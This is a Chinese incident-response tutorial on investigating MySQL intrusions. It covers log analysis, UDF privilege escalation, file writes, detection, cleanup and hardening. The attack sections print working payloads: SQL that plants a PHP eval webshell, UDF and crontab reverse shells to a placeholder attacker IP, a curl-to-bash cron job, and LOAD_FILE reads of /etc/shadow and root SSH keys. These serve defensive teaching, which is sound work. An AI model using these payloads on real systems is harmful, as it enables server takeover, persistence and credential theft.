MySQL 入侵分析 本章聚焦 MySQL 数据库在应急响应中的排查要点,包括日志体系、常见入侵手法(UDF 提权、文件写入)和安全加固
关联章节:06-文件系统取证 、03-日志分析基础
1. MySQL 日志体系 MySQL 拥有多种日志类型,在应急响应中各有不同的价值
1.1 日志类型概览
日志类型
描述
应急价值
默认状态
General Log
记录所有 SQL 语句
⭐⭐⭐⭐⭐ 最全面
关闭
Slow Query Log
记录慢查询
⭐⭐
关闭
Error Log
错误和启动信息
⭐⭐⭐
开启
Binary Log (binlog)
数据变更记录
⭐⭐⭐⭐ 可还原操作
取决于配置
Relay Log
从节点复制日志
⭐⭐
仅从节点
1.2 General Log(通用查询日志) General Log 是应急响应中最有价值的日志,记录所有连接和 SQL 语句
默认是关闭的 ——这是最遗憾的一点,很多入侵场景中没有开启此日志
检查和开启方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mysql -u root -p -e "SHOW VARIABLES LIKE 'general_log%';" mysql -u root -p -e "SET GLOBAL general_log = 'ON';" mysql -u root -p -e "SET GLOBAL general_log_file = '/var/log/mysql/general.log';"
General Log 分析示例:
1 2 3 4 5 6 7 8 9 10 tail -100 /var/lib/mysql/hostname.loggrep -iE "INTO OUTFILE|INTO DUMPFILE|LOAD_FILE|system|exec|eval" /var/lib/mysql/hostname.log grep -iE "CREATE FUNCTION|DROP FUNCTION|LOAD DATA" /var/lib/mysql/hostname.log grep -iE "GRANT|CREATE USER|ALTER USER|SET PASSWORD" /var/lib/mysql/hostname.log grep "Connect" /var/lib/mysql/hostname.log | awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn
1.3 Slow Query Log(慢查询日志) 慢查询日志记录执行时间超过阈值的 SQL 语句
在应急中,某些攻击操作(如 SELECT ... INTO OUTFILE)可能因为数据量大而触发慢查询记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql -u root -p -e "SHOW VARIABLES LIKE 'slow_query%';" mysql -u root -p -e "SHOW VARIABLES LIKE 'long_query_time';" mysqldumpslow -s c -t 20 /var/log/mysql/mysql-slow.log grep -iE "OUTFILE|DUMPFILE|LOAD_FILE" /var/log/mysql/mysql-slow.log
1.4 Error Log(错误日志) 错误日志记录 MySQL 启动、关闭和运行时的错误信息
在应急响应中,可以发现:
异常的启动参数
UDF 加载失败的记录
权限相关的错误
1 2 3 4 5 6 7 8 9 10 11 12 13 mysql -u root -p -e "SHOW VARIABLES LIKE 'log_error';" cat /var/log/mysql/error.logcat /var/log/mysqld.logcat /var/log/mariadb/mariadb.loggrep -iE "error|warning|fail|denied|udf|plugin" /var/log/mysql/error.log
1.5 Binary Log (binlog) Binlog 记录所有修改数据的 SQL 语句(INSERT、UPDATE、DELETE 等)
这是事后还原攻击操作 最重要的日志之一
Binlog 有三种格式:STATEMENT、ROW、MIXED
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 mysql -u root -p -e "SHOW VARIABLES LIKE '%log_bin%';" mysql -u root -p -e "SHOW VARIABLES LIKE 'binlog_format';" mysql -u root -p -e "SHOW BINARY LOGS;" mysqlbinlog /var/lib/mysql/mysql-bin.000001 mysqlbinlog --start-datetime="2026-04-01 00:00:00" \ --stop-datetime="2026-04-02 00:00:00" \ /var/lib/mysql/mysql-bin.000001 mysqlbinlog /var/lib/mysql/mysql-bin.000001 | grep -iE "OUTFILE|DUMPFILE|CREATE FUNCTION|DROP FUNCTION|GRANT|CREATE USER" mysqlbinlog --base64-output=DECODE-ROWS -v /var/lib/mysql/mysql-bin.000001
1.6 Ubuntu 与 CentOS 日志差异
项目
Ubuntu/Debian
CentOS/RHEL
配置文件
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/my.cnf 或 /etc/my.cnf.d/
Error Log
/var/log/mysql/error.log
/var/log/mysqld.log
General Log
/var/lib/mysql/<hostname>.log
/var/lib/mysql/<hostname>.log
Slow Log
/var/log/mysql/mysql-slow.log
/var/lib/mysql/<hostname>-slow.log
Binlog
/var/lib/mysql/mysql-bin.*
/var/lib/mysql/mysql-bin.*
数据目录
/var/lib/mysql/
/var/lib/mysql/
服务名称
mysql
mysqld(MySQL)/ mariadb(MariaDB)
默认发行版
MySQL
MariaDB(CentOS 7+)
注意:CentOS 7+ 默认安装的是 MariaDB 而非 MySQL,两者在配置和日志路径上有细微差异
2. MySQL 入侵方式 2.1 UDF 提权后门(重点) 2.1.1 攻击原理 UDF(User-Defined Function)允许用户通过加载动态链接库(.so / .dll)来扩展 MySQL 的功能
攻击者利用 MySQL 的文件写入能力,将恶意 .so 文件写入 MySQL 的 plugin 目录
然后通过 CREATE FUNCTION 注册恶意函数,从而获得系统命令执行能力
前提条件 :
拥有 MySQL root 权限(或 FILE 权限 + INSERT 权限)
secure_file_priv 为空或指向可利用的目录
知道 plugin_dir 的路径
2.1.2 攻击步骤详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 mysql> SHOW VARIABLES LIKE 'plugin_dir' ; mysql> SHOW VARIABLES LIKE 'secure_file_priv' ; mysql> SELECT UNHEX('7F454C46...' ) INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so' ; mysql> CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so' ; mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so' ; mysql> SELECT sys_eval('whoami' ); mysql> SELECT sys_exec('id' ); mysql> SELECT sys_eval('cat /etc/passwd' ); mysql> SELECT sys_exec('/bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1' );
2.1.3 常见恶意 UDF 函数名
函数名
功能
来源
sys_exec
执行系统命令(无回显)
sqlmap udf
sys_eval
执行系统命令(有回显)
sqlmap udf
sys_get
获取环境变量
sqlmap udf
sys_set
设置环境变量
sqlmap udf
sys_bineval
执行二进制代码
sqlmap udf
cmdshell
命令执行
其他工具
backshell
反弹 shell
其他工具
2.1.4 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 mysql -u root -p -e "SELECT * FROM mysql.func;" mysql -u root -p -e "SHOW VARIABLES LIKE 'plugin_dir';" ls -la /usr/lib/mysql/plugin/ ls -la /usr/lib64/mysql/plugin/ ls -lt /usr/lib/mysql/plugin/*.sodpkg -L mysql-server-core-* | grep plugin rpm -ql mysql-community-server | grep plugin file /usr/lib/mysql/plugin/*.so strings /usr/lib/mysql/plugin/udf.so | grep -iE "exec|system|popen|shell|cmd" md5sum /usr/lib/mysql/plugin/udf.sosha256sum /usr/lib/mysql/plugin/udf.so
2.2 INTO OUTFILE / INTO DUMPFILE(文件写入) 2.2.1 写入 Webshell 这是最常见的 MySQL 文件写入攻击——通过 SQL 注入或直接连接写入 webshell
1 2 3 4 5 6 7 8 mysql> SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' ; mysql> SELECT UNHEX('3C3F706870...' ) INTO DUMPFILE '/var/www/html/shell.php' ; mysql> SELECT FROM_BASE64('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+' ) INTO DUMPFILE '/var/www/html/config.php' ;
2.2.2 写入 Crontab 1 2 3 4 5 mysql> SELECT '* * * * * root bash -i >& /dev/tcp/攻击者IP/4444 0>&1' INTO OUTFILE '/etc/cron.d/backdoor' ; mysql> SELECT '\n*/5 * * * * curl http://恶意IP/shell.sh | bash\n' INTO OUTFILE '/var/spool/cron/root' ;
2.2.3 前提条件 secure_file_priv 的值决定了是否可以写入以及写入哪里
1 2 3 4 5 6 7 mysql -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"
MySQL 进程的文件系统权限也会影响写入成功与否
1 2 3 4 5 6 ps aux | grep mysqld sudo -u mysql test -w /var/www/html/ && echo "可写" || echo "不可写"
2.2.4 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 find /var/www/ -type f -newer /etc/passwd -ls 2>/dev/null find /var/www/ -type f -mtime -7 -ls 2>/dev/null find /var/www/ -user mysql -ls 2>/dev/null grep -iE "INTO OUTFILE|INTO DUMPFILE" /var/lib/mysql/*.log 2>/dev/null mysqlbinlog /var/lib/mysql/mysql-bin.* 2>/dev/null | grep -iE "OUTFILE|DUMPFILE" find /var/spool/cron/ /etc/cron.d/ -user mysql -ls 2>/dev/null
2.3 MySQL 提权与文件读取 2.3.1 LOAD_FILE 读取系统文件 当 MySQL 用户拥有 FILE 权限时,可以读取系统文件
1 2 3 4 5 6 7 mysql> SELECT LOAD_FILE('/etc/passwd' ); mysql> SELECT LOAD_FILE('/etc/shadow' ); mysql> SELECT LOAD_FILE('/root/.ssh/id_rsa' ); mysql> SELECT LOAD_FILE('/root/.bash_history' ); mysql> SELECT LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf' ); mysql> SELECT LOAD_FILE('/var/www/html/config.php' ); -- 获取其他数据库连接信息
2.3.2 LOAD DATA INFILE 将本地文件内容导入 MySQL 表中
1 2 3 mysql> CREATE TABLE temp_table (content TEXT); mysql> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE temp_table; mysql> SELECT * FROM temp_table;
检查是否允许 LOAD DATA LOCAL:
1 2 mysql -u root -p -e "SHOW VARIABLES LIKE 'local_infile';"
2.3.3 MOF 提权(Windows,了解即可) MOF(Managed Object Format)提权是 Windows 平台的攻击手法
原理:向 C:/Windows/System32/wbem/mof/ 写入 .mof 文件
WMI 服务会自动编译执行 MOF 文件中的代码
在 Linux 应急中不适用,但了解可以帮助理解 MySQL 攻击的全貌
2.4 SQL 注入导致的入侵 在实际应急中,MySQL 入侵的入口很多时候是 Web 应用的 SQL 注入漏洞
SQL 注入 → 获取 MySQL 账号密码 → 文件写入/UDF 提权
排查思路:
1 2 3 4 5 6 7 8 9 10 11 grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/nginx/access.log grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/apache2/access.log grep -iE "union.*select|sleep\(|benchmark\(|load_file|into.*outfile" /var/log/httpd/access_log grep -i "sqlmap" /var/log/nginx/access.log 2>/dev/null grep -i "sqlmap" /var/log/apache2/access.log 2>/dev/null awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
3. 排查方法 3.1 用户审计 检查 MySQL 用户列表和权限是排查的第一步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 mysql -u root -p -e "SELECT user, host, authentication_string, plugin, account_locked FROM mysql.user;" mysql -u root -p -e "SELECT user, host, password FROM mysql.user;" mysql -u root -p -e "SELECT user, host FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;" mysql -u root -p -e "SELECT user, host FROM mysql.user WHERE host = '%';" mysql -u root -p -e "SHOW GRANTS FOR 'root'@'localhost';" mysql -u root -p -e "SHOW GRANTS FOR 'root'@'%';" mysql -u root -p -e " SELECT DISTINCT GRANTEE, PRIVILEGE_TYPE, IS_GRANTABLE FROM information_schema.USER_PRIVILEGES ORDER BY GRANTEE;"
3.2 UDF 后门检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 mysql -u root -p -e "SELECT * FROM mysql.func;" mysql -u root -p -e "SELECT name, type, dl FROM mysql.func;" PLUGIN_DIR=$(mysql -u root -p -N -e "SHOW VARIABLES LIKE 'plugin_dir';" | awk '{print $2}' ) echo "Plugin 目录: $PLUGIN_DIR " ls -la "$PLUGIN_DIR " dpkg -S "$PLUGIN_DIR " 2>/dev/null rpm -qf "$PLUGIN_DIR " /* 2>/dev/null for so_file in "$PLUGIN_DIR " /*.so; do echo "=== $so_file ===" file "$so_file " md5sum "$so_file " stat "$so_file " strings "$so_file " | grep -iE "exec|system|popen|shell|cmd" | head -5 done
3.3 全局变量检查 一些关键的安全相关变量需要重点检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mysql -u root -p -e " SHOW VARIABLES LIKE 'secure_file_priv'; SHOW VARIABLES LIKE 'local_infile'; SHOW VARIABLES LIKE 'general_log%'; SHOW VARIABLES LIKE 'log_bin%'; SHOW VARIABLES LIKE 'plugin_dir'; SHOW VARIABLES LIKE 'datadir'; SHOW VARIABLES LIKE 'skip_networking'; SHOW VARIABLES LIKE 'bind_address'; SHOW VARIABLES LIKE 'port'; SHOW VARIABLES LIKE 'have_ssl'; SHOW VARIABLES LIKE 'require_secure_transport'; "
3.4 日志综合分析 将多种日志结合分析,还原攻击时间线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 echo "===== MySQL 入侵排查 =====" echo "--- 1. 检查 MySQL 版本 ---" mysql -u root -p -e "SELECT VERSION();" echo "--- 2. 检查监听地址 ---" ss -tlnp | grep mysql echo "--- 3. 检查用户列表 ---" mysql -u root -p -e "SELECT user, host, plugin FROM mysql.user;" echo "--- 4. 检查 UDF ---" mysql -u root -p -e "SELECT * FROM mysql.func;" echo "--- 5. 检查安全变量 ---" mysql -u root -p -e "SHOW VARIABLES LIKE 'secure_file_priv';" mysql -u root -p -e "SHOW VARIABLES LIKE 'local_infile';" echo "--- 6. 检查 General Log ---" mysql -u root -p -e "SHOW VARIABLES LIKE 'general_log%';" echo "--- 7. 检查当前连接 ---" mysql -u root -p -e "SHOW PROCESSLIST;" echo "--- 8. 检查最近执行的操作 ---" mysql -u root -p -e "SHOW BINARY LOGS;" 2>/dev/null
攻击时间线还原思路:
从 Web 日志中找到 SQL 注入的时间点
在 General Log 中找到对应时间的 SQL 语句
通过 binlog 还原数据变更操作
通过文件系统时间戳确认 webshell/UDF 的写入时间
通过系统日志关联后续操作(提权、横向移动等)
3.5 进程与连接排查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ps aux | grep mysql cat /proc/$(pgrep mysqld)/cmdline | tr '\0' ' ' mysql -u root -p -e "SHOW PROCESSLIST;" mysql -u root -p -e "SHOW FULL PROCESSLIST;" ss -tnp | grep 3306 netstat -tnp | grep 3306 ss -tnp | grep 3306 | grep -v "127.0.0.1" | grep -v "::1"
4. 应急处置 4.1 删除恶意 UDF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mysql -u root -p -e "SELECT * FROM mysql.func;" mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_exec;" mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_eval;" mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_get;" mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_set;" mysql -u root -p -e "DROP FUNCTION IF EXISTS sys_bineval;" mysql -u root -p -e "DROP FUNCTION IF EXISTS cmdshell;" mysql -u root -p -e "DROP FUNCTION IF EXISTS backshell;" PLUGIN_DIR=$(mysql -u root -p -N -e "SHOW VARIABLES LIKE 'plugin_dir';" | awk '{print $2}' ) cp "$PLUGIN_DIR /udf.so" /tmp/evidence_udf.so 2>/dev/nullrm "$PLUGIN_DIR /udf.so" mysql -u root -p -e "SELECT * FROM mysql.func;" ls -la "$PLUGIN_DIR "
4.2 删除写入的恶意文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 mkdir -p /tmp/evidence/find /var/www/ -user mysql -exec cp {} /tmp/evidence/ \; -exec echo "备份: {}" \; find /var/www/ -user mysql -exec rm -v {} \; find /var/spool/cron/ /etc/cron.d/ -user mysql -exec rm -v {} \; find / -user mysql -not -path "/var/lib/mysql/*" -not -path "/proc/*" -ls 2>/dev/null
4.3 修改数据库密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mysql -u root -p -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewStr0ngP@ssw0rd!';" mysql -u root -p -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('NewStr0ngP@ssw0rd!');" mysql -u root -p -e "DROP USER 'suspicious_user'@'%';" mysql -u root -p -e "DELETE FROM mysql.user WHERE user = '';" mysql -u root -p -e "DELETE FROM mysql.user WHERE user = 'root' AND host NOT IN ('localhost', '127.0.0.1', '::1');" mysql -u root -p -e "FLUSH PRIVILEGES;"
4.4 MySQL 安全加固 配置文件加固
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 bind-address = 127.0.0.1 secure_file_priv = NULL local_infile = 0 symbolic-links = 0 general_log = 1 general_log_file = /var/log/mysql/general.log log_bin = /var/lib/mysql/mysql-bin validate_password_policy = STRONG validate_password_length = 12 max_connections = 100 max_user_connections = 10 wait_timeout = 300 interactive_timeout = 300
权限最小化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 mysql_secure_installation mysql -u root -p -e " CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'AppP@ssw0rd!'; GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.* TO 'app_user'@'localhost'; -- 不要给 FILE, SUPER, PROCESS 等权限 FLUSH PRIVILEGES; " mysql -u root -p -e "REVOKE FILE ON *.* FROM 'some_user'@'%';"
防火墙限制
1 2 3 4 5 6 7 8 9 10 iptables -A INPUT -p tcp --dport 3306 -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport 3306 -j DROP firewall-cmd --permanent --remove-service=mysql 2>/dev/null firewall-cmd --reload ufw deny 3306
4.5 加固检查清单
检查项
命令
期望结果
监听地址
SHOW VARIABLES LIKE 'bind_address'
127.0.0.1
secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'
NULL
local_infile
SHOW VARIABLES LIKE 'local_infile'
OFF
空密码用户
SELECT user,host FROM mysql.user WHERE authentication_string=''
空结果
远程 root
SELECT host FROM mysql.user WHERE user='root'
仅 localhost
UDF 函数
SELECT * FROM mysql.func
空结果
运行用户
ps aux | grep mysqld
mysql 用户
端口暴露
ss -tlnp | grep 3306
仅本地监听
日志开启
SHOW VARIABLES LIKE 'general_log'
ON
binlog
SHOW VARIABLES LIKE 'log_bin'
ON
5. 实战练习 5.1 练习场景 场景 1:UDF 后门排查
接到告警:服务器上发现异常进程,疑似通过 MySQL UDF 后门执行
排查步骤:
检查 mysql.func 表,发现 sys_eval 函数
找到恶意 .so 文件,计算哈希
在 General Log 中查找 CREATE FUNCTION 语句和攻击时间线
追溯攻击入口(SQL 注入 or 弱密码)
清除后门并加固
场景 2:Webshell 写入排查
Web 应用被挂马,发现可疑 PHP 文件
排查步骤:
检查可疑文件的所有者(mysql 用户)
确认 secure_file_priv 配置
在日志中查找 INTO OUTFILE 操作
追溯 SQL 注入入口
清除 webshell 并修复漏洞
场景 3:数据泄露排查
怀疑数据库被拖库
排查步骤:
分析 General Log 中的 SELECT 语句
检查是否有 INTO OUTFILE 导出数据
分析 binlog 还原操作时间线
检查网络流量中的大量数据传输
确定泄露范围并启动通知流程
5.2 排查 Checklist MySQL 入侵排查清单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 □ 确认 MySQL 版本和配置 □ 检查监听地址(是否暴露公网) □ 检查所有用户和权限 □ 检查空密码用户和远程 root □ 检查 UDF 函数(mysql.func) □ 检查 plugin 目录异常 .so 文件 □ 检查 secure_file_priv 配置 □ 检查 General Log 中的可疑 SQL □ 分析 binlog 还原操作 □ 检查 web 目录中 mysql 用户创建的文件 □ 检查 crontab 异常 □ 追溯攻击入口(SQL 注入 / 弱密码) □ 清除恶意函数和文件 □ 修改密码并加固 □ 防火墙限制 3306 端口 □ 开启审计日志